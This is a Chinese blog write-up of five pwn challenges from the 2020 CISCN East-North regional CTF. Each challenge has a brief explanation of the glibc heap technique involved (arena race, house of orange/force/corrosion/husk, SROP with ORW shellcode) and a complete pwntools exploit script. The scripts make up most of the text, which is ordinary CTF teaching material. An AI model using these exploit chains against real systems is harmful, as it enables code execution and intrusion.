2020 ciscn华东北分区赛 pwn wp

Posted on 2020-10-24  90 Views


  • 我也是华东北赛区,可惜学校没人打!!只能通过卑微的问别的师傅要题,然后复现。

pwn1 girlfriend

  • 这个题目是一个关于ptmalloc线程arena的竞争题,以前没有见过,所以记录一下。
  • 关于线程arena的竞争。
  • 简单说下就是,当多个线程的malloc时候 。线程1会拿到属于自己的arena并lock。然后当线程1不用的时候,就会unlock这个arena。然后等下一个线程2malloc的时候如果这个arena处于占用状态 。然后线程2会重新得到一个属于自己的arena,当然arena不是无限往上拿。下面是arena的个数和系统中处理器核心个数的关系。
For 32 bit systems:
Number of arena = 2 * number of cores + 1.
For 64 bit systems:
Number of arena = 8 * number of cores + 1.
  • 如果此时arena使用个数超过上面表中的上限,那么那个多余出来的线程就会处于等待之中,等其余线程的arena解锁后就拿到那个arena,当然不排除主线程的arena。利用这点,可以造成竞争。
  • 还有要说的就是线程的栈、tls等其他信息是私有的,然后heap是公有的。上面的竞争可以说明。
  • 了解了上述的知识之后,这题就没有那么难了。
  • 通过竞争造成任意地址读。然后leak出线程tls,libc等信息,然后在通过仅有一次机会的那个movie的那个数组越界改掉tls。这样等线程的sleep time过后就得到了girlfriend,然后就能利用edit那边的off-by-one造成重叠,然后改malloc为ogg。
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'
elf=ELF("./girlfriend")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args.Q:
	io=remote()
else:
	io=process("./girlfriend")
def make(many,name,when):
	io.sendlineafter(">> \n",'3')
	io.sendlineafter("invite?\n",str(many))
	io.sendlineafter("name: ",name)
	io.sendlineafter("When: ",str(when))
def go(when):
	io.sendlineafter(">> \n",'5')
	io.sendlineafter("home?\n",str(when))

def info():
	io.sendlineafter(">> \n",'1')
def data(sz,ct,which=None):
	io.sendlineafter(">> \n",'5')
	io.sendlineafter("home\n","1")
	io.sendlineafter("have\n",str(sz))
	if which!=None:
		io.sendlineafter("movie: ",str(which))
	io.sendafter("something: ",ct)

def dele(idx):
	io.sendlineafter(">> \n",'4')
	io.sendlineafter("byebye:\n",str(idx))
def edit(leak_addr, index):
    io.sendlineafter('>> \n', '2')
    io.sendlineafter('girl:', str(index))
    io.sendlineafter('size', '48')
    leak_payload = 'a'*0x40 + p64(leak_addr)
    io.sendafter('Content', leak_payload)
def change(index, size, content):
	io.sendlineafter('>> \n', '5')
	io.sendlineafter('home\n', '3')
	io.sendlineafter('Index: ', str(index))
	io.sendlineafter('size: ', str(size))
	io.sendafter('Content: ', content)

def leak(addr, size=8):
    leak_str = str()
    for i in range(size):
        for j in range(60,64):
            edit(addr + i, j)
        leak_str += show()[0:1]
    leak_addr = u64(leak_str.ljust(8, '\x00'))
    #print(hex(leak_addr))
    return leak_addr
def show():
    io.sendlineafter('>> \n', '1')
    leak_recv = io.recvuntil(' welcome', drop=True).ljust(8, '\x00')
    #print(leak_recv.encode('hex'))
    return leak_recv

def main():
	make(65,"%9$p",8)#ThreadSleep
	go(0.1) #MainThreadSleep
	#sleep(10)
	gdb.attach(io,'b *0x0000555555554000+0x1f5b')
	info()
	pause()
	io.recvuntil("0x")
	text_base=int(io.recv(12), 16)-0x1ea5
	log.success("text_base==>"+hex(text_base))
	#data(8,0,'bbb')
	#data(-2,)
	main_first_chunk = leak(text_base + 0x5740,8)
	#gdb.attach(io,'b *0x0000555555554000+0x1f84')
	log.success("main_first_chunk==>"+hex(main_first_chunk))
	if(main_first_chunk&0xff!=0x40):
		exit(0)
	leak_tls = leak(main_first_chunk + 0x8,8)
	log.success("leak_tls==>"+hex(leak_tls))
	tls_addr = leak_tls - 0x4
	vul_list_addr = text_base + 0x6760
	tls_value = leak(tls_addr, 4)
	log.success("tls_value==>"+hex(tls_value))
	printf_addr = leak(elf.got['printf'] + text_base)
	libc_base = printf_addr - libc.symbols['printf']
	system_addr = libc_base + libc.symbols['system']
	one_gadget = libc_base + 0x4527a
	log.success("one_gadget==>"+hex(one_gadget))
	#gdb.attach(io)
	data(0x10,'a'*0x10, (tls_addr-vul_list_addr)/4)
	#print 'tls_value: ',leak(tls_addr, 4)
	sleep(20)
	io.sendafter("girlfriend\n",'\n')
	data(0x40, 'a'*0x40) #1
	data(0x40, 'b'*0x40) #2
	data(0x40, 'c'*0x40) #3
	change(1,0x40,'d'*0x40+'\xa1')
	dele(2)
	#gdb.attach(io)
	data(0x200, 'a') #4
	payload = 'a'*0x40 + p64(0x51)
	payload += p64(elf.got['malloc'] + text_base)
	change(4, len(payload)-1, payload)
	change(3, 7, p64(one_gadget))
	#gdb.attach(io)
	io.sendlineafter('>> \n', '5')
	io.sendlineafter('home\n', '1')
	io.sendlineafter('do you have', '1')
	io.interactive()
	
if __name__=='__main__':
	while True:
		try:
			io=process("./girlfriend")
			main()
		except:
			pass
	'''
	main()	
	'''

pwn2 heap_stack

  • 初步判断 push可以溢出,puush可以申请任意大小chunk。所以思路很清晰,利用house of orange来 leak libc,然后趁机写top chunk size大小为-1,应该环境是2.23所以可以直接house of force然后申请到 任意地址。然后打malloc_hook为ogg。
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.log_level='debug'
context.update(arch='amd64',os='linux',timeout=1)

if args.Q:
	io=remote()
else:
	io=process("./heap_stack")

def push(size,ct='a'):
	io.sendlineafter(">> ",'1')
	io.sendlineafter("size?\n",str(size))
	io.sendafter("content?\n",ct)
def puush(size,ct='a'):#1
	io.sendlineafter(">> ",'2')
	io.sendlineafter("size?\n",str(size))
	io.sendlineafter("content?\n",ct)
def pop():
	io.sendlineafter(">> ",'3')
def show():#1
	io.sendlineafter(">> ",'4')
def main():
	push(0x1010,'a'*0x10+p64(0)+p64(0xfe1))
	push(0xfe0)
	push(0x1fb0)
	show()
	libc_base=u64(io.recv(8))-0x3c5161+0x600
	log.success("libc_base==>"+hex(libc_base))
	push(0x1010,'a'*0x10+p64(0)+p64(0xffffffffffffffff))
	io.recvuntil("at  ")
	top_chunk=int(io.recv(14),16)+0x10
	log.success("top_chunk==>"+hex(top_chunk))
	malloc_hook=libc_base+0x3c4b10
	ogg=libc_base+[0x45226,0x4527a,0xf0364,0xf1207][3]#3 is ok 1 offset of 5
	f_size=malloc_hook-top_chunk-0x20
	puush(f_size)
	push(0x20,p64(ogg)*2)
	io.sendlineafter(">> ",'1')
	io.sendlineafter("size?\n",str(0x10))

	#gdb.attach(io)
	io.interactive()
if __name__=='__main__':
	main()

pwn3 easiestpwn

  • 题目利用 unicorn来进行模拟代码执行。首先让我们输入一个password。然后用unicorn执行代码之后,对password进行校验,如果为996则exit。如果为1则触发vuln,vuln函数里面dele的时候有一个uaf。这样思路就很明确了,首先dump下执行的代码,然后计算出password,然后输入password触发vuln进而利用uaf获取shell。不过我建议拖进ghidra里面进行分析。直接可以对这段代码进行反汇编。然后发现这段是对password的约束条件。所以需要我们利用这些条件求解出password。话不多说,直接上angr,嗯?直接kill,算了,还是老老实实的写z3吧。经过漫长时间对z3的学习。终于会写一点点了。需要注意的就是模拟的时候由于uc_hook_add添加了hook函数,所以进行约束的时候,需要对值进行异或。然后求出password,就是无脑uaf了。需要注意的是,当hook_code为4时,是每执行一条指令就运行一下hook函数。然后反编译回来的代码,没有对register的名称进行很好的恢复,所以直接显示为数字,网上几乎又找不到对应的关系,这就比较难顶,我这边是直接用python下好unicorn然后一个一个print 找到对应关系 233333
  • unicorn这点先mark一下,有空进行整理。
#!/usr/bin/python

#coding:utf-8

from pwn import  * 
from z3 import  * 
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'


if args.Q:
	io=remote()
else:	
	io=process("easiestpwn")
def add(size):
	io.sendlineafter('Your choice :',"1")
	io.sendlineafter('size:\n',str(size))

def edit(idx,ct):
  	io.sendlineafter('Your choice :',"2")
  	io.sendlineafter('idx:\n',str(idx))
  	io.sendline(ct)


def dele(idx):
  	io.sendlineafter('Your choice :',"3")
  	io.sendlineafter('idx:\n',str(idx))

def show(idx):
  	io.sendlineafter('Your choice :',"4")
  	io.sendlineafter('idx:\n',str(idx))
def ex_z3():
	b=[Int('%d'%i)for i in range(16)]
	solver = Solver()
	solver.add(b[0]  * 0x4e04+b[1]  * 0xb690==0x17ad591^0x125E591)
	solver.add(b[1]  * 0x34e+b[2]   * 0x3343==0x13d6db3^0x125E591)
	solver.add(b[2]  * 0x4a41+b[3]  * 0x8a4a==0x17a2123^0x125E591)
	solver.add(b[3]  * 0xa804+b[4]  * 0x5990==0x141b52d^0x125E591)
	solver.add(b[4]  * 0x58eb+b[5]  * 0x581c==0x11b38c0^0x125E591)
	solver.add(b[5]  * 0x2329+b[6]  * 0x3366==0x13d0476^0x125E591)
	solver.add(b[6]  * 0x9d9+b[7]   * 0xc1f0==0x1700a51^0x125E591)
	solver.add(b[7]  * 0xa5d4+b[8]  * 0xb390==0x14c747d^0x125E591)
	solver.add(b[8]  * 0xd515+b[9]  * 0x6602==0x171cb5f^0x125E591)
	solver.add(b[9]  * 0xa549+b[10] * 0xce75==0x14b8506^0x125E591)
	solver.add(b[10] * 0xf63f+b[11] * 0x1504==0x112ad1d^0x125E591)
	solver.add(b[11] * 0x20af+b[12] * 0x6ff3==0x106cce0^0x125E591)
	solver.add(b[12] * 0x909+b[13]  * 0x829d==0x137627c^0x125E591)
	solver.add(b[13] * 0xef4a+b[14] * 0xec6a==0x118b7a5^0x125E591)
	solver.add(b[14] * 0xa157+b[15] * 0x925a==0x1024c40^0x125E591)
	solver.add(b[15]                        ==0x125e5b0^0x125E591)
	for i in range(16):
		solver.add(b[i]>=0x00,b[i]<=0xff)
	print (solver.check())
	print (solver.model())
	a=[
		33,
		33,
		33,
		48,
		111,
		48,
		111,
		48,
		111,
		48,
		111,
		71,
		115,
		116,
		101,
		76
		][::-1]#revese
	print(a)
	password=''.join([chr(i) for i in a])#cycle
	print(password)
def main():
	password="LetsGo0o0o0o0!!!"
	io.sendlineafter("password!\n",password)
	add(0x410)#0
	add(0x10)#1
	dele(0)
	show(0)
	libc_leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b78
	log.success("leak==>"+hex(libc_leak))
	malloc_hook=libc_leak+0x3c4b10
	one_gadget=libc_leak+[0x45226,0x4527a,0xf0364,0xf1207][1]
	realloc=libc_leak+0x84710
	add(0x410)#2
	add(0x250)#3
	add(0x10)#4
	add(0x60)#5
	add(0x60)#6
	dele(5)
	edit(5,p64(malloc_hook-0x23))
	add(0x60)#7
	add(0x60)#8
	edit(8,'a'*11+p64(one_gadget)+p64(realloc))
	gdb.attach(io,'b *{}'.format(one_gadget))
	add(0x50)
	#edit(5)
	#add(0x60)#2
	#dele(2)
	#gdb.attach(io)
	io.interactive()
if __name__=='__main__':
	#ex_z3()
	main()

pwn4 esayheap

  • 很明显的后门,malloc一个0x?8的chunk ,strcpy的时候可以带下一个chunk的size,然后在通过那个strcat 附带上面附带的size盖掉下面的chunk的size。然后free掉下面的chunk,在把它malloc成content块,然后就可以写任意地址了,不过这个题开了seccomp,不过问题不大,可以改free_hook为setcontext+53,然后free 提前布置好的sropstr。然后在通过栈转移orw。
#!/usr/bin/python
#coding:utf-8

from pwn import *
#flag:GWHT{a48bv8fad44bca4d76765e4590fb351e}
libc=ELF("/home/dingjie/libs/2.27-3ubuntu1_amd64/libc.so.6")
context.update(arch='amd64',os='linux',timeout=2)
context.log_level='debug'

#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args.Q:
	io=remote("183.129.189.60",10029)
else:
	io=process("./pwn1")
	
def add(sz,ct='a'):
	io.sendlineafter(">>>",'1')
	io.sendlineafter("size:",str(sz))
	io.sendafter("content:",ct)
def dele(idx):
	io.sendlineafter(">>>",'2')
	io.sendlineafter("index:",str(idx))
	
def show(idx):
	io.sendlineafter(">>>",'3')
	io.sendlineafter("index:",str(idx))
def edit(idx,ct):
	io.sendlineafter(">>>",'4')
	io.sendlineafter("index:\n",str(idx))
	io.sendafter("content: ",ct)
def magic(idx1,idx2,dst):
	io.sendlineafter(">>>",'5')
	io.sendlineafter("index 1:",str(idx1))
	io.sendlineafter("index 2:",str(idx2))
	io.sendlineafter("index:",str(dst))
	

def leak():
	for i in range(8):
		add(0x90)
	for i in range(8):
		dele(i)
	for i in range(3):
		add(0x10)
	for i in range(6):
		add(0x90)
	add(0x8,'a'*8)#9
	show(9)
	libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
	free_hook=libc_base+libc.sym["__free_hook"]
	setcontext53=libc_base+libc.sym["setcontext"]+53
	syscall=libc_base+libc.search(asm("syscall\nret")).next()
	add(0x20)#10
	dele(10)
	add(0x30)#10
	dele(10)
	add(0x50)#10e
	dele(10)
	add(0x38,'a'*0x48)#10
	add(0x20,'a'*0x20)#11
	magic(10,11,12)
	add(0x10)#13
	dele(11)
	add(0x50,'a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(free_hook))
	edit(12,p64(setcontext53))
	log.success('free_hook==>'+hex(free_hook))
	log.success('libc_base==>'+hex(libc_base))
	log.success('setcontext+53==>'+hex(setcontext53))
	log.success("syscall==>"+hex(syscall))
	
	frame=SigreturnFrame()
	frame.rax=0
	frame.rdi=0
	frame.rsi=free_hook&0xfffffffffffff000
	frame.rdx=0x1000
	frame.rsp=free_hook&0xfffffffffffff000
	frame.r10=0
	frame.r9=0
	frame.rip=syscall
	
	framestr=str(frame)
	
	mprowrite=[	
					libc_base+libc.search(asm("pop rdi\nret")).next(),
					free_hook & 0xfffffffffffff000,
					libc_base+libc.search(asm("pop rsi\nret")).next(),
					0x2000,
					libc_base+libc.search(asm("pop rdx\nret")).next(),
					7,
					libc_base+libc.search(asm("pop rax\nret")).next(),
					10,
					syscall,
					libc_base+libc.search(asm("jmp rsp")).next()						
	]
	"""
	shellcode = asm('''
        sub rsp, 0x800
        push 0x67616c66
        mov rdi, rsp
        xor esi, esi
        mov eax, 2
        syscall

        cmp eax, 0
        js failed

        mov edi, eax
        mov rsi, rsp
        mov edx, 0x100
        xor eax, eax
        syscall

        mov edx, eax
        mov rsi, rsp
        mov edi, 1
        mov eax, edi
        syscall

        jmp exit

        failed:
        push 0x6c696166
        mov edi, 1
        mov rsi, rsp
        mov edx, 4
        mov eax, edi
        syscall

        exit:
        xor edi, edi
        mov eax, 231
        syscall
        ''')
  """
	shellcode=shellcraft.open('./flag',0)
	shellcode+=shellcraft.read(3,free_hook & 0xfffffffffffff000,0x10)
	shellcode+=shellcraft.write(1,free_hook & 0xfffffffffffff000,0x10)
	shellcode=asm(shellcode)
	#gdb.attach(io,'b *{}'.format(setcontext53))
	add(0x100,framestr)#14
	dele(14)
	io.sendline(flat(mprowrite)+shellcode)
	io.interactive()
	
	
if __name__=="__main__":
	leak()

pwn5 heapspree

  • 题目限制malloc的大小为>0x4fe也就是0x500及以上,然后free的时候存在uaf,最多申请5个chunk。保护全开。刚开始想到的是largebin attack 配合unsortbin attack的house of storm。然后想了下,条件不足,由于target size 不好伪造,就打消了这个念头,然后google了一波,看见了house of corrosion这种利用方式。然后想到利用unsortbin attack打global_max_fast,然后我们free掉的任意size大小的chunk都会进入fastbin。然后我们想到找到free_hook所对应 fastbinY数组的偏移。最后利用首先申请这个大小偏移的chunk。然后unsortbin attack 打global_max_fast。在free掉chunk,写入ogg,后面它就会进入fastbinY数组。根据偏移,会对应到free_hook,最后我们再利用最后一次malloc的机会,来重新申请chunk,后面ogg就会被写入malloc_hook。再free一次,就会触发ogg。
  • 当然我在网上也找到了另一个利用方法---house of husk。利用的是printf 一个调用链。做法也和上面差不多。就是偏移的时候改的不一样罢了。这个题目本身leave的时候有个printf。估计预期就是利用house of husk吧。
#!/usr/bin.python
#coding:utf-8


from pwn import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'
libc=ELF("/home/dingjie/libs/2.27-3ubuntu1_amd64/libc.so.6")
if args.Q:
	io=remote()
else:
	io=process("./pwn")
global_max_fast = 0x3ed940
free_hook=0x3ed8e8
main_arena = 0x3ebc40
def read_name(name):
	io.sendlineafter("name: ",name)

def add(idx,size):
	io.sendlineafter("choice: ",'1')
	io.sendlineafter("Index: ",str(idx))
	io.sendlineafter("Size: ",str(size))
	
def edit(idx,ct):
	io.sendlineafter("choice: ",'2')
	io.sendlineafter("Index: ",str(idx))
	io.sendlineafter("Content: ",ct)
def show(idx):
	io.sendlineafter("choice: ",'3')
	io.sendlineafter("Index: ",str(idx))
def dele(idx):
	io.sendlineafter("choice: ",'4')
	io.sendlineafter("Index: ",str(idx))
def leave():
	io.sendlineafter("choice: ",'5')
def offset2size(offset):
  	return (offset) * 2 - 0x10
def main():
	read_name('%P%P')
	add(0,0x500)
	add(1, offset2size(free_hook- main_arena))
	add(2,0x500)
	dele(0)
	show(0)
	libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3ebca0
	log.success("libc_base==>"+hex(libc_base))
	ogg=libc_base+[0x4f2c5, 0x4f322, 0x10a38c][1]
	edit(0,p64(libc_base+global_max_fast-0x10)*2)
	add(3,0x500)
	dele(1)
	edit(1,p64(ogg))
	add(4, offset2size(free_hook- main_arena))
	dele(0)
	gdb.attach(io)
	io.interactive()
if __name__=='__main__':
	main()
  • house of husk
#!/usr/bin.python
#coding:utf-8


from pwn import *
context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'
libc=ELF("/home/dingjie/libs/2.27-3ubuntu1_amd64/libc.so.6")
if args.Q:
	io=remote()
else:
	io=process("./pwn")
global_max_fast = 0x3ed940
__printf_arginfo_table = 0x3ec870
__printf_function_table = 0x3f0658
main_arena = 0x3ebc40
def read_name(name):
	io.sendlineafter("name: ",name)

def add(idx,size):
	io.sendlineafter("choice: ",'1')
	io.sendlineafter("Index: ",str(idx))
	io.sendlineafter("Size: ",str(size))
	
def edit(idx,ct):
	io.sendlineafter("choice: ",'2')
	io.sendlineafter("Index: ",str(idx))
	io.sendlineafter("Content: ",ct)
def show(idx):
	io.sendlineafter("choice: ",'3')
	io.sendlineafter("Index: ",str(idx))
def dele(idx):
	io.sendlineafter("choice: ",'4')
	io.sendlineafter("Index: ",str(idx))
def leave():
	io.sendlineafter("choice: ",'5')
def offset2size(offset):
  	return (offset) * 2 - 0x10
def main():
	read_name('%X')
	add(0,0x500)
	add(1, offset2size(__printf_function_table - main_arena))
	add(2, offset2size(__printf_arginfo_table - main_arena))
	add(3,0x500)
	dele(0)
	show(0)
	libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3ebca0
	log.success("libc_base==>"+hex(libc_base))
	ogg=libc_base+[0x4f2c5, 0x4f322, 0x10a38c][2]
	payload = '\x00' * ((ord('X') - 2) * 8) + p64(ogg)
	edit(2, payload)
	payload = p64(libc_base + main_arena + 0x60) + p64(libc_base + global_max_fast - 0x10)
	edit(0,payload)
	add(4, 0x500)
	dele(1)
	dele(2)
	#gdb.attach(io)
	leave()
	#gdb.attach(io)
	io.interactive()
if __name__=='__main__':
	main()